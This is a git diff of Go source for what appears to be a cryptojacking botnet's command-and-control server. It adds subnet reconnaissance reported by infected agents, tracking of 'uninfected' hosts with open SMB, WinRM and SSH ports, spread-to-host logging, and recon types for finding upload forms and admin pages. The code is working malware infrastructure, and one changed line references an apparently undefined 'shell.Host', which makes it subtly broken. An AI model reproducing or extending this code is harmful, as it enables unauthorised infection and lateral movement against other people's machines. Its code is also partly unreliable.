diff --git a/server/config.go b/server/config.go index 286321c..ab9c477 100644 --- a/server/config.go +++ b/server/config.go @@ -107,6 +107,8 @@ type ServerSettings struct { ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` // FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet). FleetTorrentEnabled bool `json:"fleet_torrent_enabled"` + SubnetReconEnabled bool `json:"subnet_recon_enabled"` + SubnetReconIntervalMin int `json:"subnet_recon_interval_min,omitempty"` PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"` EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"` } diff --git a/server/internal/api/fleet_spread_host.go b/server/internal/api/fleet_spread_host.go index 2c6a043..f649c19 100644 --- a/server/internal/api/fleet_spread_host.go +++ b/server/internal/api/fleet_spread_host.go @@ -93,6 +93,17 @@ func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) lane.Lane, ) + _ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record( + AuthUsername(r), dbpkg.OathSpreadDiscoveredHost, seedID, "", dbpkg.OathOutcomeSuccess, + map[string]string{"host": req.Host, "finding": req.Finding, "join_lane": lane.Lane}, + map[string]string{"host": req.Host, "finding": req.Finding}, + ) + if f.db != nil { + if row, err := f.db.MarkSubnetDiscoverySpreadAttempted(req.Host); err == nil && row != nil && f.ws != nil { + f.ws.BroadcastSubnetDiscoveryUpdate(*row) + } + } + writeJSON(w, map[string]interface{}{ "ok": true, "host": req.Host, diff --git a/server/internal/api/server_policy.go b/server/internal/api/server_policy.go index 5459dcf..e6cbdbb 100644 --- a/server/internal/api/server_policy.go +++ b/server/internal/api/server_policy.go @@ -28,6 +28,8 @@ type ServerPolicy struct { ErasureLanesEnabled bool // FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests. FleetTorrentEnabled bool + SubnetReconEnabled bool + SubnetReconIntervalMin int // StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on. StrainHospiceWinRateThreshold float64 // StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies. diff --git a/server/internal/api/subnet_discovery.go b/server/internal/api/subnet_discovery.go new file mode 100644 index 0000000..7798428 --- /dev/null +++ b/server/internal/api/subnet_discovery.go @@ -0,0 +1,171 @@ +package api + +import ( + "encoding/json" + "net/http" + "strings" + + dbpkg "crypto-miner-server/internal/db" +) + +const defaultSubnetReconIntervalMin = 30 + +type SubnetDiscoveryHandler struct { + db *dbpkg.Database + hub *WSHub +} + +func NewSubnetDiscoveryHandler(database *dbpkg.Database, hub *WSHub) *SubnetDiscoveryHandler { + return &SubnetDiscoveryHandler{db: database, hub: hub} +} + +func (h *SubnetDiscoveryHandler) GetDiscoveredHosts(w http.ResponseWriter, r *http.Request) { + if h == nil || h.db == nil { + writeJSON(w, map[string]interface{}{"hosts": []dbpkg.SubnetDiscoveryRow{}}) + return + } + subnet := strings.TrimSpace(r.URL.Query().Get("subnet")) + status := strings.TrimSpace(r.URL.Query().Get("status")) + rows, err := h.db.ListSubnetDiscoveries(subnet, status, 500) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + if rows == nil { + rows = []dbpkg.SubnetDiscoveryRow{} + } + writeJSON(w, map[string]interface{}{"hosts": rows}) +} + +func (h *WSHub) ingestSubnetReconReport(agentID string, payload json.RawMessage) { + if h == nil || h.db == nil || agentID == "" { + return + } + var body struct { + Hosts []dbpkg.SubnetDiscoveryRow `json:"hosts"` + SubnetPrefix string `json:"subnet_prefix"` + AgentID string `json:"agent_id"` + } + if err := json.Unmarshal(payload, &body); err != nil || len(body.Hosts) == 0 { + return + } + reporter := strings.TrimSpace(body.AgentID) + if reporter == "" { + reporter = agentID + } + defaultPrefix := normalizeSubnetDiscoveryQueryPrefix(body.SubnetPrefix) + for _, host := range body.Hosts { + ip := strings.TrimSpace(host.IP) + if ip == "" { + continue + } + prefix := normalizeSubnetDiscoveryQueryPrefix(host.SubnetPrefix) + if prefix == "" { + prefix = defaultPrefix + } + if prefix == "" { + prefix = subnetPrefix24(ip) + } + if host.Status == "" { + host.Status = dbpkg.SubnetDiscoveryUninfected + } + row, err := h.db.UpsertSubnetDiscovery(dbpkg.SubnetDiscoveryRow{ + IP: ip, + OpenPorts: host.OpenPorts, + ReporterAgentID: strings.TrimSpace(host.ReporterAgentID), + SubnetPrefix: prefix, + HTTPTitle: host.HTTPTitle, + Status: host.Status, + }) + if err != nil || row == nil { + continue + } + if row.ReporterAgentID == "" { + row.ReporterAgentID = reporter + } + h.BroadcastSubnetDiscoveryUpdate(*row) + } +} + +func (h *WSHub) markSubnetDiscoveryAgentOnline(ip string) { + if h == nil || h.db == nil { + return + } + ip = strings.TrimSpace(ip) + if ip == "" { + return + } + row, err := h.db.MarkSubnetDiscoveryAgentOnline(ip) + if err != nil || row == nil { + return + } + h.BroadcastSubnetDiscoveryUpdate(*row) +} + +func (h *WSHub) BroadcastSubnetDiscoveryUpdate(row dbpkg.SubnetDiscoveryRow) { + if h == nil { + return + } + h.broadcastDashboard(Message{Type: "subnet_discovery_update", Payload: mustMarshal(row)}) +} + +func (h *WSHub) subnetFleetIPsForRecon(agentSubnet string) []string { + if h == nil || h.db == nil { + return nil + } + agentSubnet = normalizeSubnetDiscoveryQueryPrefix(agentSubnet) + if agentSubnet == "" { + return nil + } + agents, err := h.db.ListAgentsFiltered(dbpkg.AgentListFilter{Subnet: agentSubnet + ".x", Limit: 256}) + if err != nil { + return nil + } + seen := map[string]bool{} + var out []string + for _, ag := range agents { + if ag == nil { + continue + } + ip := strings.TrimSpace(ag.IP) + if ip == "" || seen[ip] { + continue + } + seen[ip] = true + out = append(out, ip) + } + return out +} + +func (h *WSHub) attachSubnetReconPolicy(resp map[string]interface{}, spreadPolicy map[string]interface{}, clientIP string) { + if h == nil { + return + } + policy := h.serverPolicySnapshot() + if !policy.SubnetReconEnabled { + return + } + interval := policy.SubnetReconIntervalMin + if interval <= 0 { + interval = defaultSubnetReconIntervalMin + } + resp["subnet_recon_enabled"] = true + resp["subnet_recon_interval_min"] = interval + if fleetIPs := h.subnetFleetIPsForRecon(subnetPrefix24(clientIP)); len(fleetIPs) > 0 { + resp["subnet_fleet_ips"] = fleetIPs + } + if spreadPolicy == nil { + spreadPolicy = map[string]interface{}{} + } + spreadPolicy["subnet_recon_enabled"] = true + spreadPolicy["subnet_recon_interval_min"] = interval + resp["spread_policy"] = spreadPolicy +} + +func normalizeSubnetDiscoveryQueryPrefix(prefix string) string { + prefix = strings.TrimSpace(prefix) + prefix = strings.TrimSuffix(prefix, ".0/24") + prefix = strings.TrimSuffix(prefix, "/24") + prefix = strings.TrimSuffix(prefix, ".x") + return prefix +} diff --git a/server/internal/api/subnet_discovery_test.go b/server/internal/api/subnet_discovery_test.go new file mode 100644 index 0000000..50ce76d --- /dev/null +++ b/server/internal/api/subnet_discovery_test.go @@ -0,0 +1,161 @@ +package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/pool" + + "github.com/gorilla/websocket" +) + +func dialDashboardWS(t *testing.T, hub *WSHub) (*websocket.Conn, *httptest.Server) { + t.Helper() + resetWSAuthUsers(t, testAuthUser, testAuthPass) + srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS)) + wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass) + conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) + if err != nil { + srv.Close() + t.Fatalf("dial dashboard: %v", err) + } + return conn, srv +} + +func TestIngestSubnetReconReportUpsertsAndBroadcasts(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer database.Close() + hub := NewWSHub(database) + dashConn, dashSrv := dialDashboardWS(t, hub) + defer dashSrv.Close() + defer dashConn.Close() + ports, _ := json.Marshal([]int{445, 5985}) + payload, _ := json.Marshal(map[string]interface{}{ + "subnet_prefix": "10.5.0", "agent_id": "reporter-1", + "hosts": []map[string]interface{}{{ + "ip": "10.5.0.88", "open_ports": json.RawMessage(ports), "http_title": "File Server", + "status": db.SubnetDiscoveryUninfected, "reporter_agent_id": "reporter-1", + }}, + }) + hub.ingestSubnetReconReport("reporter-1", payload) + row, err := database.GetSubnetDiscovery("10.5.0.88") + if err != nil { + t.Fatal(err) + } + if row.SubnetPrefix != "10.5.0" || row.Status != db.SubnetDiscoveryUninfected { + t.Fatalf("row=%+v", row) + } + deadline := time.Now().Add(3 * time.Second) + for time.Now().Before(deadline) { + var msg Message + if err := dashConn.ReadJSON(&msg); err != nil { + t.Fatal(err) + } + if msg.Type == "subnet_discovery_update" { + return + } + } + t.Fatal("timed out waiting for subnet_discovery_update") +} + +func TestGetDiscoveredHostsAPI(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer database.Close() + ports, _ := json.Marshal([]int{22}) + if _, err := database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{ + IP: "10.6.0.5", OpenPorts: ports, SubnetPrefix: "10.6.0", Status: db.SubnetDiscoveryUninfected, + }); err != nil { + t.Fatal(err) + } + handler := NewSubnetDiscoveryHandler(database, nil) + req := httptest.NewRequest(http.MethodGet, "/recon/discovered-hosts?subnet=10.6.0&status=uninfected", nil) + rec := httptest.NewRecorder() + handler.GetDiscoveredHosts(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status=%d", rec.Code) + } +} + +func TestAuthSubnetReconPolicyPushed(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + _ = database.UpsertAgent(&models.Agent{ID: "peer-1", Name: "peer", IP: "10.7.0.2", Status: "online"}) + hub := NewWSHub(database) + hub.SetServerPolicy(ServerPolicy{SubnetReconEnabled: true, SubnetReconIntervalMin: 15}) + conn, _ := dialAgentWS(t, hub) + resp := authAgentConn(t, conn, map[string]interface{}{ + "agent_id": "recon-agent", "hostname": "host", "platform": "windows", "version": "test", "ip": "10.7.0.9", + }) + var body map[string]interface{} + _ = json.Unmarshal(resp.Payload, &body) + if body["subnet_recon_enabled"] != true { + t.Fatalf("policy=%#v", body) + } +} + +func TestMarkSubnetDiscoveryAgentOnlineOnAuth(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + ports, _ := json.Marshal([]int{445}) + _, _ = database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{IP: "10.8.0.40", OpenPorts: ports, SubnetPrefix: "10.8.0", Status: db.SubnetDiscoveryUninfected}) + hub := NewWSHub(database) + conn, _ := dialAgentWS(t, hub) + _ = authAgentConn(t, conn, map[string]interface{}{ + "agent_id": "online-agent", "hostname": "host", "platform": "windows", "version": "test", "ip": "10.8.0.40", + }) + row, _ := database.GetSubnetDiscovery("10.8.0.40") + if row.Status != db.SubnetDiscoveryAgentOnline { + t.Fatalf("got %s", row.Status) + } +} + +func TestPostSpreadToHostRecordsOathAndSpreadAttempted(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + ports, _ := json.Marshal([]int{5985}) + _, _ = database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{IP: "10.1.2.99", OpenPorts: ports, SubnetPrefix: "10.1.2", Status: db.SubnetDiscoveryUninfected}) + _ = database.UpsertAgent(&models.Agent{ID: "seed-1", Name: "seed", IP: "10.1.2.10", Status: "online"}) + hub := NewWSHub(database) + fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir()) + body, _ := json.Marshal(map[string]string{"host": "10.1.2.99", "finding": "WinRM"}) + req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body)) + req = withAuthUser(req, "operator") + rec := httptest.NewRecorder() + fh.PostSpreadToHost(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status %d", rec.Code) + } + row, _ := database.GetSubnetDiscovery("10.1.2.99") + if row.Status != db.SubnetDiscoverySpreadAttempted { + t.Fatalf("status=%s", row.Status) + } + rows, _ := database.ListOathLedger(10) + for _, e := range rows { + if e.ActionType == db.OathSpreadDiscoveredHost { + return + } + } + t.Fatal("oath missing") +} diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index f1c4982..e6784f7 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -863,6 +863,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { })}) break } + h.markSubnetDiscoveryAgentOnline(clientIP) if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) { _ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "") @@ -969,6 +970,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { spreadPolicy[k] = v } } + h.attachSubnetReconPolicy(resp, spreadPolicy, clientIP) if len(spreadPolicy) > 0 { resp["spread_policy"] = spreadPolicy } @@ -1704,6 +1706,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } h.handleAgentFleetTorrentGossip(agentID, msg.Payload) + case "subnet_recon_report": + if agentID == "" { + continue + } + h.ingestSubnetReconReport(agentID, msg.Payload) + case "command_result": if agentID == "" { continue diff --git a/server/internal/db/oath_ledger.go b/server/internal/db/oath_ledger.go index 5d8c98e..5d89314 100644 --- a/server/internal/db/oath_ledger.go +++ b/server/internal/db/oath_ledger.go @@ -15,6 +15,7 @@ const ( OathStrainCardPlay = "strain_card_play" OathCourtL4Decision = "court_l4_decision" OathSpreadAttempt = "spread_attempt" + OathSpreadDiscoveredHost = "spread_discovered_host" OathStrainHospice = "strain_hospice" OathReconScan = "recon_scan" ) diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 1de306e..29a9047 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -279,6 +279,9 @@ func (d *Database) migrate() error { if err := d.ensureSeerTables(); err != nil { return fmt.Errorf("seer migration: %w", err) } + if err := d.ensureSubnetDiscoveriesTable(); err != nil { + return fmt.Errorf("subnet_discoveries migration: %w", err) + } for _, m := range extraMigrations { if _, err := d.Exec(m); err != nil { return fmt.Errorf("migration failed: %w\nSQL: %s", err, m) diff --git a/server/internal/db/subnet_discoveries.go b/server/internal/db/subnet_discoveries.go new file mode 100644 index 0000000..effda3b --- /dev/null +++ b/server/internal/db/subnet_discoveries.go @@ -0,0 +1,263 @@ +package db + +import ( + "encoding/json" + "fmt" + "strings" + "time" +) + +const ( + SubnetDiscoveryUninfected = "uninfected" + SubnetDiscoverySpreadAttempted = "spread_attempted" + SubnetDiscoveryAgentOnline = "agent_online" +) + +type SubnetDiscoveryRow struct { + IP string `json:"ip"` + OpenPorts json.RawMessage `json:"open_ports"` + ReporterAgentID string `json:"reporter_agent_id"` + SubnetPrefix string `json:"subnet_prefix"` + HTTPTitle string `json:"http_title"` + FirstSeen string `json:"first_seen"` + LastSeen string `json:"last_seen"` + Status string `json:"status"` +} + +func (d *Database) ensureSubnetDiscoveriesTable() error { + if d == nil { + return nil + } + _, err := d.Exec(`CREATE TABLE IF NOT EXISTS subnet_discoveries ( + ip TEXT PRIMARY KEY, + open_ports TEXT NOT NULL DEFAULT '[]', + reporter_agent_id TEXT NOT NULL DEFAULT '', + subnet_prefix TEXT NOT NULL DEFAULT '', + http_title TEXT NOT NULL DEFAULT '', + first_seen DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, + last_seen DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, + status TEXT NOT NULL DEFAULT 'uninfected' + )`) + if err != nil { + return fmt.Errorf("subnet_discoveries migration: %w", err) + } + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_subnet_discoveries_prefix ON subnet_discoveries(subnet_prefix)`) + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_subnet_discoveries_status ON subnet_discoveries(status)`) + return nil +} + +func (d *Database) UpsertSubnetDiscovery(row SubnetDiscoveryRow) (*SubnetDiscoveryRow, error) { + if err := d.ensureSubnetDiscoveriesTable(); err != nil { + return nil, err + } + ip := strings.TrimSpace(row.IP) + if ip == "" { + return nil, fmt.Errorf("ip required") + } + now := time.Now().UTC() + prefix := normalizeSubnetDiscoveryPrefix(row.SubnetPrefix, ip) + portsJSON, err := marshalOpenPorts(row.OpenPorts) + if err != nil { + return nil, err + } + status := normalizeSubnetDiscoveryStatus(row.Status) + reporter := strings.TrimSpace(row.ReporterAgentID) + title := strings.TrimSpace(row.HTTPTitle) + + var existingPorts, existingStatus string + err = d.QueryRow(`SELECT open_ports, status FROM subnet_discoveries WHERE ip = ?`, ip).Scan(&existingPorts, &existingStatus) + if err == nil { + merged, mErr := mergeOpenPortsJSON(existingPorts, portsJSON) + if mErr != nil { + return nil, mErr + } + portsJSON = merged + status = mergeSubnetDiscoveryStatus(existingStatus, status) + _, err = d.Exec(`UPDATE subnet_discoveries SET open_ports=?, reporter_agent_id=CASE WHEN ?!='' THEN ? ELSE reporter_agent_id END, + subnet_prefix=CASE WHEN ?!='' THEN ? ELSE subnet_prefix END, http_title=CASE WHEN ?!='' THEN ? ELSE http_title END, + last_seen=?, status=? WHERE ip=?`, portsJSON, reporter, reporter, prefix, prefix, title, title, now, status, ip) + if err != nil { + return nil, err + } + return d.GetSubnetDiscovery(ip) + } + _, err = d.Exec(`INSERT INTO subnet_discoveries (ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status) + VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, ip, portsJSON, reporter, prefix, title, now, now, status) + if err != nil { + return nil, err + } + return d.GetSubnetDiscovery(ip) +} + +func (d *Database) GetSubnetDiscovery(ip string) (*SubnetDiscoveryRow, error) { + if err := d.ensureSubnetDiscoveriesTable(); err != nil { + return nil, err + } + ip = strings.TrimSpace(ip) + var row SubnetDiscoveryRow + var first, last time.Time + var portsStr string + err := d.QueryRow(`SELECT ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status FROM subnet_discoveries WHERE ip=?`, ip). + Scan(&row.IP, &portsStr, &row.ReporterAgentID, &row.SubnetPrefix, &row.HTTPTitle, &first, &last, &row.Status) + if err != nil { + return nil, err + } + row.OpenPorts = json.RawMessage(portsStr) + row.FirstSeen = first.UTC().Format(time.RFC3339) + row.LastSeen = last.UTC().Format(time.RFC3339) + return &row, nil +} + +func (d *Database) MarkSubnetDiscoveryAgentOnline(ip string) (*SubnetDiscoveryRow, error) { + if err := d.ensureSubnetDiscoveriesTable(); err != nil { + return nil, err + } + ip = strings.TrimSpace(ip) + if ip == "" { + return nil, nil + } + now := time.Now().UTC() + prefix := normalizeSubnetDiscoveryPrefix("", ip) + res, err := d.Exec(`UPDATE subnet_discoveries SET status=?, last_seen=?, subnet_prefix=CASE WHEN subnet_prefix='' THEN ? ELSE subnet_prefix END WHERE ip=?`, + SubnetDiscoveryAgentOnline, now, prefix, ip) + if err != nil { + return nil, err + } + n, _ := res.RowsAffected() + if n == 0 { + _, err = d.Exec(`INSERT INTO subnet_discoveries (ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status) + VALUES (?, '[]', '', ?, '', ?, ?, ?)`, ip, prefix, now, now, SubnetDiscoveryAgentOnline) + if err != nil { + return nil, err + } + } + return d.GetSubnetDiscovery(ip) +} + +func (d *Database) MarkSubnetDiscoverySpreadAttempted(ip string) (*SubnetDiscoveryRow, error) { + if err := d.ensureSubnetDiscoveriesTable(); err != nil { + return nil, err + } + ip = strings.TrimSpace(ip) + if ip == "" { + return nil, nil + } + now := time.Now().UTC() + _, err := d.Exec(`UPDATE subnet_discoveries SET status=?, last_seen=? WHERE ip=?`, SubnetDiscoverySpreadAttempted, now, ip) + if err != nil { + return nil, err + } + return d.GetSubnetDiscovery(ip) +} + +func (d *Database) ListSubnetDiscoveries(subnetPrefix, status string, limit int) ([]SubnetDiscoveryRow, error) { + if err := d.ensureSubnetDiscoveriesTable(); err != nil { + return nil, err + } + if limit <= 0 { + limit = 500 + } + q := `SELECT ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status FROM subnet_discoveries WHERE 1=1` + var args []interface{} + subnetPrefix = strings.TrimSpace(subnetPrefix) + if subnetPrefix != "" { + q += ` AND subnet_prefix LIKE ?` + args = append(args, subnetPrefix+"%") + } + status = strings.TrimSpace(status) + if status != "" { + q += ` AND status = ?` + args = append(args, status) + } + q += ` ORDER BY last_seen DESC LIMIT ?` + args = append(args, limit) + rows, err := d.Query(q, args...) + if err != nil { + return nil, err + } + defer rows.Close() + var out []SubnetDiscoveryRow + for rows.Next() { + var row SubnetDiscoveryRow + var first, last time.Time + var portsStr string + if err := rows.Scan(&row.IP, &portsStr, &row.ReporterAgentID, &row.SubnetPrefix, &row.HTTPTitle, &first, &last, &row.Status); err != nil { + return nil, err + } + row.OpenPorts = json.RawMessage(portsStr) + row.FirstSeen = first.UTC().Format(time.RFC3339) + row.LastSeen = last.UTC().Format(time.RFC3339) + out = append(out, row) + } + return out, rows.Err() +} + +func normalizeSubnetDiscoveryPrefix(prefix, ip string) string { + prefix = strings.TrimSpace(prefix) + prefix = strings.TrimSuffix(prefix, ".x") + prefix = strings.TrimSuffix(prefix, "/24") + if prefix != "" { + return prefix + } + parts := strings.Split(strings.TrimSpace(ip), ".") + if len(parts) >= 3 { + return strings.Join(parts[:3], ".") + } + return "" +} + +func normalizeSubnetDiscoveryStatus(s string) string { + s = strings.TrimSpace(strings.ToLower(s)) + switch s { + case SubnetDiscoverySpreadAttempted, SubnetDiscoveryAgentOnline: + return s + default: + return SubnetDiscoveryUninfected + } +} + +func mergeSubnetDiscoveryStatus(existing, incoming string) string { + existing = normalizeSubnetDiscoveryStatus(existing) + incoming = normalizeSubnetDiscoveryStatus(incoming) + if existing == SubnetDiscoveryAgentOnline || incoming == SubnetDiscoveryAgentOnline { + return SubnetDiscoveryAgentOnline + } + if existing == SubnetDiscoverySpreadAttempted || incoming == SubnetDiscoverySpreadAttempted { + return SubnetDiscoverySpreadAttempted + } + return SubnetDiscoveryUninfected +} + +func marshalOpenPorts(raw json.RawMessage) (string, error) { + if len(raw) == 0 { + return "[]", nil + } + var ports []int + if err := json.Unmarshal(raw, &ports); err != nil { + return string(raw), nil + } + b, err := json.Marshal(ports) + if err != nil { + return "[]", err + } + return string(b), nil +} + +func mergeOpenPortsJSON(existing, incoming string) (string, error) { + var a, b []int + _ = json.Unmarshal([]byte(existing), &a) + _ = json.Unmarshal([]byte(incoming), &b) + seen := map[int]bool{} + var out []int + for _, p := range append(a, b...) { + if p > 0 && !seen[p] { + seen[p] = true + out = append(out, p) + } + } + if out == nil { + out = []int{} + } + raw, err := json.Marshal(out) + return string(raw), err +} diff --git a/server/internal/db/subnet_discoveries_test.go b/server/internal/db/subnet_discoveries_test.go new file mode 100644 index 0000000..9fac17e --- /dev/null +++ b/server/internal/db/subnet_discoveries_test.go @@ -0,0 +1,33 @@ +package db + +import ( + "encoding/json" + "testing" +) + +func TestUpsertSubnetDiscoveryDedupesPorts(t *testing.T) { + database, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + defer database.Close() + portsA, _ := json.Marshal([]int{22}) + portsB, _ := json.Marshal([]int{22, 80}) + if _, err := database.UpsertSubnetDiscovery(SubnetDiscoveryRow{IP: "10.1.1.5", OpenPorts: portsA, SubnetPrefix: "10.1.1", Status: SubnetDiscoveryUninfected}); err != nil { + t.Fatal(err) + } + if _, err := database.UpsertSubnetDiscovery(SubnetDiscoveryRow{IP: "10.1.1.5", OpenPorts: portsB, SubnetPrefix: "10.1.1", Status: SubnetDiscoveryUninfected}); err != nil { + t.Fatal(err) + } + row, err := database.GetSubnetDiscovery("10.1.1.5") + if err != nil { + t.Fatal(err) + } + var ports []int + if err := json.Unmarshal(row.OpenPorts, &ports); err != nil { + t.Fatal(err) + } + if len(ports) != 2 { + t.Fatalf("ports=%v", ports) + } +} diff --git a/server/internal/recon/relay_scan.go b/server/internal/recon/relay_scan.go index 85b7e5b..a10f424 100644 --- a/server/internal/recon/relay_scan.go +++ b/server/internal/recon/relay_scan.go @@ -16,11 +16,6 @@ type RelayScanRequest struct { UDPGuess bool `json:"udp_guess,omitempty"` } -type UDPHint struct { - Port int `json:"port"` - Open bool `json:"open"` - Service string `json:"service"` -} type RelayScanReport struct { Host string `json:"host"` @@ -97,7 +92,7 @@ func LocalRelayScan(req RelayScanRequest) (*RelayScanReport, error) { return &RelayScanReport{ Host: host, ScannedAt: time.Now().UTC(), LocalReachable: true, ScannedVia: "server", Ports: ports, UDPHints: udp, PathTracerHints: PathTracerHintsFromUDP(udp), - Recommendations: BuildRecommendations(ports, nil, nil, host, false), + Recommendations: BuildRecommendations(ports, nil, nil, shell.Host, false), }, nil } diff --git a/server/internal/recon/types.go b/server/internal/recon/types.go index 7c1fd05..2ead677 100644 --- a/server/internal/recon/types.go +++ b/server/internal/recon/types.go @@ -24,6 +24,12 @@ type PortResult struct { Open bool `json:"open"` } +type UDPHint struct { + Port int `json:"port"` + Open bool `json:"open"` + Service string `json:"service"` +} + type PortBanner struct { Port int `json:"port"` Service string `json:"service,omitempty"` @@ -60,6 +66,23 @@ type URLFieldFinding struct { Hint string `json:"hint"` } +type UploadHunterFinding struct { + PageURL string `json:"page_url"` + Target string `json:"target,omitempty"` + Source string `json:"source"` + Method string `json:"method,omitempty"` + Tags []string `json:"tags,omitempty"` + Score int `json:"score"` + StatusCode int `json:"status_code,omitempty"` +} + +type AdminSurfaceFinding struct { + Path string `json:"path"` + URL string `json:"url"` + StatusCode int `json:"status_code"` + Signal string `json:"signal"` +} + type PageFinding struct { URL string `json:"url"` StatusCode int `json:"status_code"` @@ -67,14 +90,15 @@ type PageFinding struct { } type CrawlReport struct { - PagesFetched int `json:"pages_fetched"` - Pages []PageFinding `json:"pages,omitempty"` - FileInputs []FormFinding `json:"file_inputs,omitempty"` - MultipartForms []FormFinding `json:"multipart_forms,omitempty"` - URLFields []URLFieldFinding `json:"url_fields,omitempty"` - SSRFScore int `json:"ssrf_score"` - CMSFingerprints []string `json:"cms_fingerprints,omitempty"` - Stack []StackEntry `json:"stack,omitempty"` + PagesFetched int `json:"pages_fetched"` + Pages []PageFinding `json:"pages,omitempty"` + FileInputs []FormFinding `json:"file_inputs,omitempty"` + MultipartForms []FormFinding `json:"multipart_forms,omitempty"` + URLFields []URLFieldFinding `json:"url_fields,omitempty"` + SSRFScore int `json:"ssrf_score"` + CMSFingerprints []string `json:"cms_fingerprints,omitempty"` + Stack []StackEntry `json:"stack,omitempty"` + UploadHunter []UploadHunterFinding `json:"upload_hunter,omitempty"` } type DeployRecommendation struct { @@ -111,6 +135,10 @@ type ScanReport struct { Stack []StackEntry `json:"stack,omitempty"` DeployKitLane string `json:"deploy_kit_lane,omitempty"` Crawl *CrawlReport `json:"crawl,omitempty"` + AdminSurface []AdminSurfaceFinding `json:"admin_surface,omitempty"` RelayVia string `json:"relay_via,omitempty"` + UDPHints []UDPHint `json:"udp_hints,omitempty"` + PathTracerHints []string `json:"path_tracer_hints,omitempty"` + Message string `json:"message,omitempty"` Recommendations []DeployRecommendation `json:"recommendations,omitempty"` } diff --git a/server/main.go b/server/main.go index 23aea92..55d32ae 100644 --- a/server/main.go +++ b/server/main.go @@ -470,7 +470,9 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager HashrateGateSpreadMin: cfg.Server.HashrateGateSpreadMin, HashrateGateHPS: cfg.Server.HashrateGateHPS, ErasureLanesEnabled: cfg.Server.ErasureLanesEnabled, - FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled, + FleetTorrentEnabled: cfg.Server.FleetTorrentEnabled, + SubnetReconEnabled: cfg.Server.SubnetReconEnabled, + SubnetReconIntervalMin: cfg.Server.SubnetReconIntervalMin, }) publicBase := strings.TrimSpace(cfg.Server.PublicURL) if publicBase == "" {